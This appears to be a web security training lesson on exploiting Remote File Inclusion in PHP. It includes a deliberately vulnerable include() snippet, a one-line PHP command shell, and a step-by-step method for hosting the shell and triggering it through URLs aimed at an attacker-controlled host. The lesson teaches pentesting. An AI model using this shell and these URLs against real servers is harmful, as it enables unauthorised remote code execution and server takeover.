Remote File Inclusion (RFI) Exploitation

Hello and welcome to our next lesson!

In our previous lessons, we explored Local File Inclusion (LFI) in depth, covering everything from basic path traversal to sophisticated filter bypasses like null-byte injection and path truncation. We focused on including files that already exist on the target server.

Today, we move from reading local files to executing remote code. This lesson focuses on Remote File Inclusion (RFI), a vulnerability that allows an attacker to force a web application to fetch and execute a malicious file from an external server. RFI is often considered more critical than LFI because it typically provides a direct path to Remote Code Execution (RCE), giving you full control over the server. For a bug bounty hunter, finding an RFI vulnerability is almost always a high or critical-impact discovery.

1. Understanding Remote File Inclusion (RFI)

At its core, RFI is an extension of the same flawed logic that causes LFI: user-supplied input is used in a file inclusion function without proper validation. The key difference is that the server's configuration allows it to treat a URL as a valid file path.

Imagine the same vulnerable PHP code we've seen before:

<?php
  $page = $_GET['page'];
  include($page); 
?>

While an LFI attack would use a local path like ../../etc/passwd, an RFI attack provides a full URL:
http://vulnerable-site.com/?page=http://attacker-site.com/malicious-shell.php

The vulnerable server will fetch malicious-shell.php from the attacker's server and execute it as if it were a local file.

2. The Crucial Prerequisites for RFI

RFI is less common than LFI in modern applications for a very specific reason: it requires a particular, and nowadays insecure, server configuration. For PHP applications, two directives in the php.ini configuration file must be enabled:

1. allow_url_fopen = On: This allows PHP to treat URLs like files, enabling it to open remote resources via HTTP or FTP wrappers.
2. allow_url_include = On: This specifically allows the use of remote URLs with PHP's inclusion functions (include, require, include_once, require_once).

By default, allow_url_include has been set to Off in PHP for many years, which is why RFI is rarer on properly configured systems. However, you will encounter it on older systems or applications with custom, insecure configurations.

What happens when you find an LFI but these settings are disabled? The RFI attempt will fail.

This is a perfect example of real-world pentesting: you form a hypothesis (LFI might also be RFI), test it, and analyze the result to determine your next step.

3. The Anatomy of an RFI Attack

Let's break down the practical steps to exploit an RFI vulnerability to gain RCE.

Step 1: Create the Remote Payload
You need a file to be executed by the victim server. A simple but effective payload is a PHP script that takes a command as a parameter and executes it.

<?php 
  system($_GET['cmd']); 
?>

• system() is a PHP function that executes an external program and displays the output.
• $_GET['cmd'] reads the value of the cmd parameter from the URL.

Save this code in a file, for example, shell.txt. Using a .txt extension can sometimes help bypass rudimentary filters that might block the inclusion of .php files.

Step 2: Host the Payload
Your payload must be accessible to the target server over HTTP. Your own Kali machine can act as the web server. You can easily start one using Python. Open a terminal in the directory where you saved shell.txt and run:

python3 -m http.server 80

This command starts a web server on port 80.

Step 3: Trigger the Inclusion and Execute Commands
Now, craft the final URL. You will point the vulnerable parameter to your payload and add the cmd parameter to execute a command.

• Your IP Address: 10.10.14.15 (replace with your actual IP)
• Vulnerable URL: http://vulnerable-site.com/view.php?page=...
• Payload File: shell.txt

The final URL would look like this:
http://vulnerable-site.com/view.php?page=http://10.10.14.15/shell.txt&cmd=whoami

When the vulnerable server processes this request:

1. It includes the file from http://10.10.14.15/shell.txt.
2. The PHP code <?php system($_GET['cmd']); ?> is executed.
3. The system() function receives the value of cmd, which is whoami.
4. The server runs the whoami command, and the output (e.g., www-data) is displayed in the response.

4. A Complete RFI Scenario

Now let's see this entire process in a practical demonstration.

This video perfectly illustrates the power and simplicity of a successful RFI attack.

<?php system($_GET['c']); ?>

python3 -m http.server 80

Conclusion

In this lesson, we transitioned from local to remote file inclusion, highlighting the severe impact of RFI. You learned that while it's a powerful attack vector leading directly to RCE, its feasibility depends entirely on specific, insecure server configurations.

Key Takeaways:

• RFI exploits file inclusion vulnerabilities to execute code hosted on an external, attacker-controlled server.
• Successful RFI in PHP applications requires allow_url_fopen and allow_url_include to be enabled, which is not the default on modern systems.
• The exploitation process involves creating a PHP payload, hosting it on a web server, and crafting a URL to make the victim server include and execute it.
• An RFI finding is almost always a critical-severity vulnerability due to the immediate risk of complete server compromise.

Next Lesson Preview:
We've seen that RFI is not always possible. But what if you could still achieve Remote Code Execution using only a Local File Inclusion vulnerability? In our next lesson, we will explore techniques to do just that. We'll learn how to leverage LFI to poison server-side files, such as log files, by injecting malicious PHP code into them and then using the LFI to execute that code. This is a classic and powerful method for escalating an LFI to RCE.